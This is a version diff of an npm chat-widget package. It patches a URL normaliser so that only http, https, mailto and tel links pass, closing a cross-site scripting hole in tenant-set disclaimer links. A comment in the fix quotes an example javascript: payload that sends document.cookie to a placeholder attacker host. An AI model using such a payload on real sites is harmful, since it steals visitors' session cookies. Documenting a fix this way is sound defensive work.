@eshal-bot/chat-widget 0.1.116 → 0.1.117

package/dist/chat-widget.esm.js

@@ -1 +1 @@
-export{S as default}from"./chat-widget-index-CX0RMFml.esm.js";import"react";import"react-dom/client";import"react-dom";import"react/jsx-runtime";
+export{S as default}from"./chat-widget-index-leVA8Ur1.esm.js";import"react";import"react-dom/client";import"react-dom";import"react/jsx-runtime";

package/dist/chat-widget.js

@@ -9008,11 +9008,21 @@
     }
     return bytes.buffer;
   };
+
+  // EV-2849 (WAPT) - this used to pass ANY scheme through unfiltered
+  // (`/^[a-z][a-z0-9+.-]*:/i` matches `javascript:` just as readily as
+  // `mailto:`), so a tenant-set disclaimer link URL of
+  // `javascript:fetch('https://attacker/'+document.cookie)` rendered
+  // verbatim as an <a href> - the widget mounts on the CUSTOMER's origin,
+  // so every visitor who clicked the disclaimer ran attacker JS there.
+  // Only an explicit allow-list of schemes is safe to pass through as-is.
+  const ALLOWED_SCHEMES = /^(https?|mailto|tel):/i;
   const normalizeExternalUrl = value => {
     const trimmed = (value || '').trim();
     if (!trimmed) return '';
     if (/^https?:\/\//i.test(trimmed)) return trimmed;
-    if (/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return trimmed;
+    if (ALLOWED_SCHEMES.test(trimmed)) return trimmed;
+    if (/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return '';
     return "https://".concat(trimmed.replace(/^\/+/, ''));
   };